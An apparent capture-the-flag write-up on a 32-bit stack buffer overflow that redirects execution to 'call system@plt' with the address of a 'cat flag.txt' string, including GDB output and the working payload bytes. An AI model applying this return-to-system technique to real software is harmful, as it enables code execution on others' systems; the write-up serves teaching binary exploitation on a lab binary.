This challenge will introduce you to handling functions that require arguments. In this instance, we must change the argument passed to the critical function to achieve the desired output.
The first thing we do is run checksec
on the binary.
This shows us that there are no canaries and no PIE. This means we can stack smash and overflow the buffer. From here, we move into GDB and check for overflows.
We see that main
doesn't do much other than call pwnme
. This intuition comes with time; a good check is whether that function takes input from the user. In this case, it does not.
pwnme
is much more interesting. Let's check on the read
function, which takes out input:
0x080485e9 <+60>: push 0x60 0x080485eb <+62>: lea eax,[ebp-0x28] 0x080485ee <+65>: push eax 0x080485ef <+66>: push 0x0 0x080485f1 <+68>: call 0x80483b0 <read@plt>
We know that this is equivalent to (ensure you know how to do this):
read(0, ebp-0x28, 0x60);
In this case, we have a clear buffer overflow. We can write 96 bytes into a 40-byte buffer.
From GDB, we see that usefulFunction
contains a call to system
, which is always desirable. We make the payload jump there.
We design our payload the same as any other payload.
payload = b'A' * 44 payload += p32(0x0804860c) # address usefulFunction
If we run this, we get the following:
What happened? The flag didn't show up! This looks like ls
was executed instead of cat flag.txt
. We confirm this by looking at the string passed into system
:
This is where our challenge comes in. We need to modify the argument passed inside system
before calling it,
The next challenge we must overcome is finding the "cat flag.txt" string in memory. If it's not there, we need to load it into memory. We'll get into these exploits later.
We have two methods of finding this string: the find
command and the search-pattern
command.
search-pattern
find
The format of this method is find <start> <end> <string>
. In this case, we only want to look inside our binary. We can use info proc mappings
or vmmap
(GEF Only) to see the memory segments. The binary must be running to use these commands; these commands need the library files loaded.
gef➤ info proc mappings process 46951 Mapped address spaces: Start Addr End Addr Size Offset Perms objfile 0x8048000 0x8049000 0x1000 0x0 r-xp /ironforge/chall 0x8049000 0x804a000 0x1000 0x0 r--p /ironforge/chall 0x804a000 0x804b000 0x1000 0x1000 rw-p /ironforge/chall 0xf7d7b000 0xf7d9d000 0x22000 0x0 r--p /usr/lib32/libc.so.6 0xf7d9d000 0xf7f1a000 0x17d000 0x22000 r-xp /usr/lib32/libc.so.6 0xf7f1a000 0xf7f9d000 0x83000 0x19f000 r--p /usr/lib32/libc.so.6 0xf7f9d000 0xf7f9f000 0x2000 0x221000 r--p /usr/lib32/libc.so.6 0xf7f9f000 0xf7fa0000 0x1000 0x223000 rw-p /usr/lib32/libc.so.6 0xf7fa0000 0xf7faa000 0xa000 0x0 rw-p 0xf7fc2000 0xf7fc4000 0x2000 0x0 rw-p 0xf7fc4000 0xf7fc8000 0x4000 0x0 r--p [vvar] 0xf7fc8000 0xf7fca000 0x2000 0x0 r-xp [vdso] 0xf7fca000 0xf7fcb000 0x1000 0x0 r--p /usr/lib32/ld-linux.so.2 0xf7fcb000 0xf7fed000 0x22000 0x1000 r-xp /usr/lib32/ld-linux.so.2 0xf7fed000 0xf7ffb000 0xe000 0x23000 r--p /usr/lib32/ld-linux.so.2 0xf7ffb000 0xf7ffd000 0x2000 0x30000 r--p /usr/lib32/ld-linux.so.2 0xf7ffd000 0xf7ffe000 0x1000 0x32000 rw-p /usr/lib32/ld-linux.so.2 0xfffdd000 0xffffe000 0x21000 0x0 rw-p [stack]
In this case, we want all the locations within the challenge itself. This is from 0x08048000
to 0x0804b000
. We want the string cat flag.txt
:
gef➤ find 0x08048000, 0x0804afff, "cat flag.txt" 0x804a035 <usefulString+5> 1 pattern found. gef➤ x/s 0x0804a035 0x804a035 <usefulString+5>: "cat flag.txt"
0x0804afff
instead of 0x0804b000
. This is because end addresses are not inclusive and 0x0804b000
belongs to a different location, which may not be read-only. If you get the error Unable to access X bytes of target memory, halting search, that's why.search-pattern
In my opinion, this is a much better alternative. It's much easier to use. It doesn't require start
and end
parameters. We only need the string:
gef➤ search-pattern "cat flag.txt" [+] Searching 'cat flag.txt' in memory [+] In '/ironforge/chall'(0x804a000-0x804b000), permission=rw- 0x804a035 - 0x804a041 → "cat flag.txt"
This method returns the start and end of the string, its location in memory, its permissions, and its memory segment. This information is extremely useful for understanding what we can do with this string.
When we make this jump, we must be very cautious where we jump. If we jump right to usefulFunction
, despite the argument we pass to it, we'll notice that /bin/ls
gets pushed on the stack on top of our argument. This means we must avoid the push /bin/ls
call.
There is nothing against us jumping to the middle of a function. If we do, however, we must be mindful of our current stack frame to ensure parameters get passed correctly. This example shows a "Natural Jump"; the next case will be… not so natural.
call
statements. If we reach a function by using call
, then it's a Natural Jump.We need to decide how our stack will look. Remember that x86 Assembly passes parameters on the stack. Let's assume in this case that we put the argument right after the return address we used:
When we leave pwnme
, all the Red space will be collapsed.
mov esp, ebp
.$ebp
will be collapsed via pop rbp
.As expected, this leaves the return address on the top of the stack. We jump to where we're going, which leaves cat flag.txt
's address on the top of the stack.
Therefore, if we jump right to call system@plt
, we will successfully have cat flag.txt
's address on the top of the stack. The Natural Jump is the call system@plt
, which will perfectly execute. The interpreter expects our first parameter to be on the top of the stack when the method is called, which it is!
Therefore, we can write the following payload:
payload = b'A' * 44 payload += p32(0x0804861a) # address of 'call system@plt' payload += p32(0x0804a035) # address of 'cat flag.txt'
If we run this payload, we see we get the flag!